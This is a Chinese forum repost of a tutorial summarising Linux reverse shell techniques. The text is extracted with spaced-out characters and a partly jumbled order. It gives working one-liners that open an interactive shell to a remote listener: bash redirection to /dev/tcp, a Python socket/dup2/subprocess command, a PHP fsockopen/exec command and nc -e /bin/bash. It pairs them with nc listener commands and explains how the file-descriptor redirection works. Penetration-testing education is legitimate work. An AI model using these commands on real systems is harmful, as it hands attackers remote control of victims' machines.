搜索

[21526] 2020-12-22_Linux下几种反弹Shell方法的总结与理解

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-12-22_Linux下几种反弹Shell方法的总结与理解 L i n u x 下 几 种 反 弹 S h e l l 方 法 的 总 结 与 理 解 L e m o n S e c   2 0 2 0 - 1 2 - 2 2 转 自 墨 痕 诉 清 风 的 博 客 常 用 常 用   实 验 环 境 实 验 环 境 C e n t O S   6 . 5 ： 1 9 2 . 1 6 8 . 0 . 3 k a l i 2 . 0 ： 1 9 2 . 1 6 8 . 0 . 4 方 法 方 法 1 ： ： 反 弹 s h e l l 命 令 如 下 ： 首 先 ， 使 用 n c 在 k a l i 上 监 听 端 口 ： p y t h o n / u s r / b i n / p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 2 2 6 . 1 3 0 " , 9 9 9 9 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; ' b a s h / b i n / b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 1 / 9 9 9 9   0 > & 1 p h p p h p   - r   ' $ s o c k = f s o c k o p e n ( " i p " , p o r t ) ; e x e c ( " / b i n / b a s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' n c 接 收 端 n c   - l v n p   - { p o r t } / b i n / b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 1 / 9 9 9 9   0 > & 1 n c   - l v p   7 7 7 7
然 后 在 C e n t O S 6 . 5 下 输 入 ： 可 以 看 到 s h e l l 成 功 反 弹 到 了 k a l i 上 面 ， 可 以 执 行 命 令 ： 在 解 释 这 条 反 弹 s h e l l 的 命 令 原 理 之 前 ， 首 先 需 要 掌 握 几 个 点 。 l i n u x 文 件 描 述 符 ： l i n u x   s h e l l 下 有 三 种 标 准 的 文 件 描 述 符 ， 分 别 如 下 ： 还 有 就 是 > & 这 个 符 号 的 含 义 ， 最 好 的 理 解 是 这 样 的 ： b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 0 . 4 / 7 7 7 7   0 > & 1 0   -   s t d i n   代 表 标 准 输 入 , 使 用 < 或 < < 1   -   s t d o u t   代 表 标 准 输 出 , 使 用 > 或 > > 2   -   s t d e r r   代 表 标 准 错 误 输 出 , 使 用 2 > 或 2 > > 当 > & 后 面 接 文 件 时 ， 表 示 将 标 准 输 出 和 标 准 错 误 输 出 重 定 向 至 文 件 。 当 > & 后 面 接 文 件 描 述 符 时 ， 表 示 将 前 面 的 文 件 描 述 符 重 定 向 至 后 面 的 文 件 描 述 符
也 有 师 傅 把 & 这 个 符 号 解 释 为 是 取 地 址 符 号 ， 学 过 C 语 言 的 小 伙 伴 们 都 知 道 & 这 个 符 号 代 表 取 地 址 符 ， 在 C + + 中 & 符 号 还 代 表 为 引 用 ， 这 样 做 是 为 了 区 分 文 件 描 述 符 和 文 件 ， 比 如 查 看 一 个 不 存 在 的 文 件 ， 要 把 标 准 错 误 重 定 向 到 标 准 输 出 ， 如 果 直 接 的 话 ， 则 会 将 1 看 作 是 一 个 文 件 ， 将 标 准 错 误 输 出 输 出 到 1 这 个 文 件 里 而 不 是 标 准 输 出 , 而 & 的 作 用 就 是 为 了 区 分 文 件 和 文 件 描 述 符 ： 理 解 了 上 面 这 些 知 识 ， 下 面 来 解 释 一 下 这 一 条 反 弹 s h e l l 的 命 令 首 先 ， 代 表 在 本 地 打 开 一 个 b a s h ， 然 后 就 是 ，   是 L i n u x 中 的 一 个 特 殊 设 备 , 打 开 这 个 文 件 就 相 当 于 发 出 了 一 个 s o c k e t 调 用 ， 建 立 一 个 s o c k e t 连 接 ， > & 后 面 跟 上 这 个 文 件 代 表 将 标 准 输 出 和 标 准 错 误 输 出 重 定 向 到 这 个 文 件 ， 也 就 是 传 递 到 远 程 上 ， 如 果 远 程 开 启 了 对 应 的 端 口 去 监 听 ， 就 会 接 收 到 这 个 b a s h 的 标 准 输 出 和 标 准 错 误 输 出 ， 这 个 时 候 我 们 在 本 机 C e n t O S 输 入 命 令 ， 输 出 以 及 错 误 输 出 的 内 容 就 会 被 传 递 显 示 到 远 程 。 在 本 地 输 入 设 备 （ 键 盘 ） 输 入 命 令 ， 在 本 地 看 不 到 输 入 的 内 容 ， 但 是 键 盘 输 入 的 命 令 已 经 被 输 出 到 了 远 程 ， 然 后 命 令 的 执 行 结 果 或 者 错 误 也 会 被 传 到 远 程 ， 查 看 远 程 ， 可 以 看 到 标 准 输 出 和 标 准 错 误 输 出 都 重 定 向 到 了 远 程 ： c a t   n o t e x i s t f i l e   2 > 1 b a s h   - i / d e v / t c p / i p / p o r t / d e v / t c p / / d e v / t c p / i p / p o r t
下 面 在 该 命 令 后 面 加 上 ， 代 表 将 标 准 输 入 重 定 向 到 标 准 输 出 ， 这 里 的 标 准 输 出 已 经 重 定 向 到 了 这 个 文 件 ， 也 就 是 远 程 ， 那 么 标 准 输 入 也 就 重 定 向 到 了 远 程 ， 这 样 的 话 就 可 以 直 接 在 远 程 输 入 了 ： 那 么 ， 0 > & 2 也 是 可 以 的 ， 代 表 将 标 准 输 入 重 定 向 到 标 准 错 误 输 出 ， 而 标 准 错 误 输 出 重 定 向 到 了 这 个 文 件 ， 也 就 是 远 程 ， 那 么 标 准 输 入 也 就 重 定 向 到 了 远 程 ： 0 > & 1 / d e v / t c p / i p / p o r t / d e v / t c p / i p / p o r t
为 了 更 形 象 的 理 解 ， 下 面 给 出 了 整 个 过 程 的 数 据 流 向 ， 首 先 是 本 地 的 输 入 输 出 流 向 ： 执 行 后 b a s h   - i   > &   / d e v / t c p / i p / p o r t
  执 行 或 者 后 ：   b a s h   - i   > &   / d e v / t c p / i p / p o r t   0 > & 1 b a s h   - i   > &   / d e v / t c p / i p / p o r t   0 > & 2
  方 法 方 法 2 ： ： 使 用 p y t h o n 反 弹 ， 反 弹 s h e l l 命 令 如 下 ： 首 先 ， 使 用 n c 在 k a l i 上 监 听 端 口 ： 在 C e n t O S 下 使 用 p y t h o n 去 反 向 连 接 ， 输 入 ： p y t h o n   - c   " i m p o r t   o s , s o c k e t , s u b p r o c e s s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( ' i p ' , p o r t ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ ' / b i n / b a s h ' , ' - i ' ] ) ; " n c   - l v p   7 7 7 7
可 以 看 到 k a l i 上 成 功 反 弹 到 了 s h e l l ， 可 以 执 行 一 些 命 令 ： 在 已 经 深 入 理 解 了 第 一 种 方 法 的 原 理 后 ， 下 面 来 解 释 一 下 p y t h o n 反 弹 s h e l l 的 原 理 。 首 先 使 用 s o c k e t 与 远 程 建 立 起 连 接 ， 接 下 来 使 用 到 了 o s 库 的 d u p 2 方 法 将 标 准 输 入 、 标 准 输 出 、 标 准 错 误 输 出 重 定 向 到 远 程 ， d u p 2 这 个 方 法 有 两 个 参 数 ， 分 别 为 文 件 描 述 符 f d 1 和 f d 2 ， 当 f d 2 参 数 存 在 时 ， 就 关 闭 f d 2 ， 然 后 将 f d 1 代 表 的 那 个 文 件 强 行 复 制 给 f d 2 ， 在 这 里 可 以 把 f d 1 和 f d 2 看 作 是 C 语 言 里 的 指 针 ， 将 f d 1 赋 值 给 f d 2 ， 就 相 当 于 将 f d 2 指 向 于 s . f i l e n o ( ) ， f i l e n o ( ) 返 回 的 是 一 个 文 件 描 述 符 ， 在 这 里 也 就 是 建 立 s o c k e t 连 接 返 回 的 文 件 描 述 符 ， 经 过 测 试 可 以 看 到 值 为 3 。 于 是 这 样 就 相 当 于 将 标 准 输 入 ( 0 ) 、 标 准 输 出 ( 1 ) 、 标 准 错 误 输 出 ( 2 ) 重 定 向 到 远 程 ( 3 ) ， 接 下 来 使 用 o s 的 s u b p r o c e s s 在 本 地 开 启 一 个 子 进 程 ， 传 入 参 数 “ - i ” 使 b a s h 以 交 互 模 式 启 动 ， 标 准 输 入 、 标 准 输 出 、 标 准 错 误 输 出 又 被 重 定 向 到 了 远 程 ， 这 样 的 话 就 可 以 在 远 程 执 行 输 入 命 令 了 。     p y t h o n   - c   " i m p o r t   o s , s o c k e t , s u b p r o c e s s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( ' 1 9 2 . 1 6 8 . 0 . 4 ' , 7 7 7 7 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ ' / b i n / b a s h ' , ' - i ' ] ) ;
方 法 方 法 3 ： ： 使 用 n c 反 弹 s h e l l , 需 要 的 条 件 是 被 反 弹 s h e l l 的 机 器 安 装 了 n c ， C e n t O S 6 . 5 安 装 n c 方 法 如 下 ： 之 后 在 k a l i 上 使 用 n c 监 听 端 口 ： 1 、 下 载 安 装 w g e t   h t t p s : / / s o u r c e f o r g e . n e t / p r o j e c t s / n e t c a t / f i l e s / n e t c a t / 0 . 7 . 1 / n e t c a t - 0 . 7 . 1 . t a r . g z / d o w n l o a d t a r   - z x v f   n e t c a t - 0 . 7 . 1 . t a r . g z   - C   / u s r / l o c a l c d   / u s r / l o c a l m v   n e t c a t - 0 . 7 . 1   n e t c a t c d   / u s r / l o c a l / n e t c a t . / c o n f i g u r e m a k e   & &   m a k e   i n s t a l l 2 、 配 置 v i m   / e t c / p r o f i l e 添 加 以 下 内 容 ： #   s e t     n e t c a t   p a t h e x p o r t   N E T C A T _ H O M E = / u s r / l o c a l / n e t c a t e x p o r t   P A T H = $ P A T H : $ N E T C A T _ H O M E / b i n 保 存 ， 退 出 ， 并 使 配 置 生 效 ： s o u r c e   / e t c / p r o f i l e 3 、 测 试 n c   - h e l p 成 功 n c   - l v p   7 7 7 7
在 C e n t O S 上 使 用 n c 去 反 向 连 接 ， 命 令 如 下 ： 这 里 的 - e 后 面 跟 的 参 数 代 表 的 是 在 创 建 连 接 后 执 行 的 程 序 ， 这 里 代 表 在 连 接 到 远 程 后 可 以 在 远 程 执 行 一 个 本 地 s h e l l ( ) ， 也 就 是 反 弹 一 个 s h e l l 给 远 程 ， 可 以 看 到 远 程 已 经 成 功 反 弹 到 了 s h e l l ， 并 且 可 以 执 行 命 令 。 注 意 之 前 使 用 n c 监 听 端 口 反 弹 s h e l l 时 都 会 有 一 个 警 告 ： , 根 据 n c 帮 助 文 档 的 提 示 加 上 - n 参 数 就 可 以 不 产 生 这 个 警 告 了 ， - n 参 数 代 表 在 建 立 连 接 之 前 不 对 主 机 进 行 d n s 解 析 。 n c   - e   / b i n / b a s h   1 9 2 . 1 6 8 . 0 . 4   7 7 7 7 / b i n / b a s h W a r n i n g :   f o r w a r d   h o s t   l o o k u p   f a i l e d   f o r   b o g o n :   U n k n o w n   h o s t n c   - n l v p   7 7 7 7
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理